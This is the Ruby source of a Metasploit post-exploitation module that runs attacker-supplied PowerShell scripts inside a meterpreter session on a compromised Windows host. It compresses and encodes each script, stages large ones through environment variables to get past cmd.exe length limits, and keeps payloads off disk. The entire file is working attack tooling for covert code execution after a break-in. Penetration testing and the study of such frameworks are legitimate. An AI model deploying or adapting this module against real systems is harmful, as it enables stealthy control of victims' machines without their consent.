
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

##
# Original script comments by nick[at]executionflow.org:
# Meterpreter script to deliver and execute powershell scripts using
# a compression/encoding method based on the powershell PoC code
# from rel1k and winfang98 at DEF CON 18. This script furthers the
# idea by bypassing Windows' command character lmits, allowing the
# execution of very large scripts. No files are ever written to disk.
##

require 'zlib' # TODO: check if this can be done with REX

require 'msf/core'
require 'rex'
require 'msf/core/post/windows/powershell'

class MetasploitModule < Msf::Post
	include Msf::Post::Windows::Powershell

	def initialize(info={})
		super(update_info(info,
			'Name'                 => "Windows Manage Download and/or Execute",
			'Description'          => %q{
				This module will execute a powershell script in a meterpreter session.
				The user may also enter text substitutions to be made in memory before execution.
				Setting VERBOSE to true will output both the script prior to execution and the results.
			},
			'License'              => MSF_LICENSE,
			'Version'              => '$Revision$',
			'Platform'             => ['win'],
			'SessionTypes'         => ['meterpreter'],
			'Author'               => [
				'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script
				'RageLtMan' # post module
				]
		))

		register_options(
			[
				OptPath.new( 'SCRIPT',  [true, 'Path to the PS script' ]),
			], self.class)

		register_advanced_options(
			[
				OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub' ]),
				OptBool.new(  'DELETE',        [false, 'Delete file after execution', false ]),
			], self.class)

	end



	def run

		# Make sure we meet the requirements before running the script, note no need to return
		# unless error
		return 0 if ! (session.type == "meterpreter" || have_powershell?)


		# End of file marker
		eof = Rex::Text.rand_text_alpha(8)
		env_suffix = Rex::Text.rand_text_alpha(8)

		# check/set vars
		subs = process_subs(datastore['SUBSTITUTIONS'])
		script_in = read_script(datastore['SCRIPT'])
		print_status(script_in)

		# Make substitutions in script if needed
		script_in = make_subs(script_in, subs) unless subs.empty?

		# Get target's computer name
		computer_name = session.sys.config.sysinfo['Computer']

		# Create unique log directory
		log_dir = ::File.join(Msf::Config.log_directory,'scripts', computer_name)
		::FileUtils.mkdir_p(log_dir)

		# Define log filename
		script_ext  = ::File.extname(datastore['SCRIPT'])
		script_base = ::File.basename(datastore['SCRIPT'], script_ext)
		time_stamp  = ::Time.now.strftime('%Y%m%d:%H%M%S')
		log_file    = ::File.join(log_dir,"#{script_base}-#{time_stamp}.txt")

		# Compress
		print_status('Compressing script contents:')
		compressed_script = compress_script(script_in, eof)

		# If the compressed size is > 8100 bytes, launch stager
		if (compressed_script.size > 8100)
			print_error(" - Compressed size: #{compressed_script.size}")
			error_msg =  "Compressed size may cause command to exceed "
			error_msg += "cmd.exe's 8kB character limit."
			print_error(error_msg)
			print_status('Launching stager:')
			script = stage_to_env(compressed_script, env_suffix)
			print_good("Payload successfully staged.")
		else
			print_good(" - Compressed size: #{compressed_script.size}")
			script = compressed_script
		end

		# Execute the powershell script
		print_status('Executing the script.')
		cmd_out, running_pids, open_channels = execute_script(script)

		# Write output to log
		print_status("Logging output to #{log_file}.")
		write_to_log(cmd_out, log_file, eof)

		# Clean up
		print_status('Cleaning up residual objects and processes.')
		clean_up(datastore['SCRIPT'], eof, running_pids, open_channels, env_suffix)

		# That's it
		print_good('Finished!')
	end



end

